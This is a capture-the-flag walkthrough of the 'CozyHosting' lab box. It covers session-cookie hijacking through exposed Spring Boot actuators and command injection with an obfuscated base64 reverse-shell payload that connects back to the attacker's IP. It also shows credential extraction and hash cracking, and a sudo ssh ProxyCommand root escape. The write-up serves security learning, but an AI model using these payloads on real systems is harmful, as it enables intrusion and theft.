CozyHosting

A Linux machine with a twist.

Enumeration

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/CozyHosting]
โ””โ”€$ nmap -sC -sV -Pn 10.10.11.230
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-06 11:40 EDT
Nmap scan report for cozyhosting.htb (10.10.11.230)
Host is up (0.0048s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.23 seconds

Nothing interesting here besides HTTP.

HTTP Enumeration

Upon visiting the webpage, we discover a boostrap template website with a login page.

We do not find much functionality on the site besides the login so we attempt to perform directory fuzzing with gobuster.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/CozyHosting]
โ””โ”€$ gobuster dir -u http://cozyhosting.htb/FUZZ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cozyhosting.htb/FUZZ
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/09/06 11:47:26 Starting gobuster in directory enumeration mode
===============================================================
/[                    (Status: 400) [Size: 435]
/]                    (Status: 400) [Size: 435]
/asdfjkl;             (Status: 200) [Size: 0]
/plain]               (Status: 400) [Size: 435]
/quote]               (Status: 400) [Size: 435]
/secci๏ฟฝ               (Status: 400) [Size: 435]
Progress: 20466 / 20470 (99.98%)
===============================================================
2023/09/06 11:48:31 Finished
===============================================================
                   

Nothing interesting as well.

If we try to visit any non-existent directories, we are presented with a Whitelabel error page, which is specific to the SpringBoot Framework.

Looking at hacktricks, it states that one of the common misconfigurations of SpringBoot is the use of actuators.

With reference to this article, it states the following :

The Spring Boot Framework includes a number of features called actuators to help you monitor and manage your web application when you push it to production. Intended to be used for auditing, health, and metrics gathering, they can also open a hidden door to your server when misconfigured.

The article also provides a wordlist for directory/file fuzzing at SecList's spring-boot.txt

We can use this wordlist to fuzz all the possible actuator endpoints.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/CozyHosting]
โ””โ”€$ gobuster dir -u http://cozyhosting.htb -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt                                 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cozyhosting.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/spring-boot.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/09/06 12:08:45 Starting gobuster in directory enumeration mode
===============================================================
/actuator/beans       (Status: 200) [Size: 127224]
/actuator/env         (Status: 200) [Size: 4957]
/actuator/env/home    (Status: 200) [Size: 487]
/actuator/env/lang    (Status: 200) [Size: 487]
/actuator             (Status: 200) [Size: 634]
/actuator/env/path    (Status: 200) [Size: 487]
/actuator/health      (Status: 200) [Size: 15]
/actuator/mappings    (Status: 200) [Size: 9938]
/actuator/sessions    (Status: 200) [Size: 398]
Progress: 107 / 113 (94.69%)
===============================================================
2023/09/06 12:08:46 Finished
===============================================================

The /actuator/sessions endpoint looks particularly interesting as the official SpringBoot Documentation states the following.

The sessions endpoint provides information about the applicationโ€™s HTTP sessions that are managed by Spring Session.

Visiting the endpoint, we get presented with a bunch of random strings with the username kanderson.

If we try to login with any invalid credentials, we notice a JSESSION id being created with a similar value to the random strings at /actuator/sessions.

Thus, we can come up with the assumption that the random strings are actually session cookies which we can use to login as kanderson.

Immediately we see an interesting function at the bottom where it seems to be running some sort of ssh authentication in the backend.

This is further confirmed upon intercepting the request with burp, it is revealed to be making a POST request to the endpoint/executessh with a error message Host Key Verification Failed, a common ssh error.

If we put a ; in the username parameter, we get a ssh usage output, suggesting that this parameter is vulnerable to some form of command injection.

We can thus try to execute our reverse shell payload, using base64 to reduce the number of spaces and substituting spaces with the IFS trick.

POST /executessh HTTP/1.1
Host: cozyhosting.htb
Content-Length: 157
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cozyhosting.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://cozyhosting.htb/admin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=BC2923D993EC2C13F990C14949CAE896
Connection: close

host=127.0.0.1&username=;$(echo${IFS}L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljk2LzEyMzQgMD4mMQ==${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}/bin/bash${IFS})

Initial Access

Running whoami we discover that we are the user app and there is a .jar file named cloudhosting-0.0.1.jar.

app@cozyhosting:/app$ whoami
whoami
app
app@cozyhosting:/app$ ls 
ls
cloudhosting-0.0.1.jar

We can then extract it out and use the zipgrep functionality to grep for any strings containing the word password.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/CozyHosting]
โ””โ”€$ zipgrep password cloudhosting-0.0.1.jar 
grep: (standard input): binary file matches
grep: (standard input): binary file matches
grep: (standard input): binary file matches
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-fill:before { content: "\eecf"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-line:before { content: "\eed0"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-fill:before { content: "\eecf"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-line:before { content: "\eed0"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:    <glyph glyph-name="lock-password-fill"
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:    <glyph glyph-name="lock-password-line"
grep: (standard input): binary file matches
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-fill">
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-line">
grep: (standard input): binary file matches
BOOT-INF/classes/templates/login.html:                                        <input type="password" name="password" class="form-control" id="yourPassword"
BOOT-INF/classes/templates/login.html:                                        <div class="invalid-feedback">Please enter your password!</div>
BOOT-INF/classes/templates/login.html:                                    <p th:if="${param.error}" class="text-center small">Invalid username or password</p>
BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR
grep: (standard input): binary file matches

Opening the file BOOT-INF/classes/application.properties, we notice credentials for the user postgres which seems to be running locally on port 5432.

server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

This is confirmed as using the command ps aux, we notice a postgres process running in the background.

app@cozyhosting:/app$ ps aux | grep postgres
ps aux | grep postgres
postgres    1107  0.0  0.7 218316 30120 ?        Ss   10:23   0:01 /usr/lib/postgresql/14/bin/postgres -D /var/lib/postgresql/14/main -c config_file=/etc/postgresql/14/main/postgresql.conf

We can thus try to access the cozyhosting database via psql which reveals the user administrator's hash.

app@cozyhosting:/app$ psql -h 127.0.0.1 -p 5432 -U postgres -d cozyhosting
psql -h 127.0.0.1 -p 5432 -U postgres -d cozyhosting
Password for user postgres: Vg&nvzAQ7XxR

\list
                                   List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-------------+----------+----------+-------------+-------------+-----------------------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
(4 rows)

\c cozyhosting
You are now connected to database "cozyhosting" as user "postgres".
\d
              List of relations
 Schema |     Name     |   Type   |  Owner   
--------+--------------+----------+----------
 public | hosts        | table    | postgres
 public | hosts_id_seq | sequence | postgres
 public | users        | table    | postgres
(3 rows)

SELECT * from users;
   name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

We can then crack it using hashcat which reveals the password manchesterunited.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/CozyHosting]
โ””โ”€$ hashcat hashes.txt /usr/share/wordlists/rockyou.txt -m 3200
hashcat (v6.2.6) starting
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

Looking at the available users in /etc/passwd, we see a user named josh.

app@cozyhosting:/app$ cat /etc/passwd | grep /home
cat /etc/passwd | grep /home
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
app:x:1001:1001::/home/app:/bin/sh
josh:x:1003:1003::/home/josh:/usr/bin/bash

We can then test for password reuse via ssh for the user josh using the cracked password, obtaining the user flag.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/CozyHosting]
โ””โ”€$ ssh josh@10.10.11.230                    
josh@10.10.11.230's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Sep  6 04:53:32 PM UTC 2023

  System load:           0.0185546875
  Usage of /:            58.8% of 5.42GB
  Memory usage:          51%
  Swap usage:            0%
  Processes:             337
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.230
  IPv6 address for eth0: dead:beef::250:56ff:feb9:f41d


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Sep  6 16:48:01 2023 from 10.10.16.29
josh@cozyhosting:~$ cat user.txt
22df2ef7ff8702a965de417990f63faf
josh@cozyhosting:~$ 

Privilege Escalation

Using the command sudo -l, we discover that josh has the ability to run ssh as root, probbaly due to the insecure feature on the web application earlier.

josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

We can thus reference GTFOBins to obtain a root shell.

josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# whoami
root
# cd /root
# ls
root.txt
# cat root.txt
6d241c85ff618d112b8b6f52edbf613d
# 

Last updated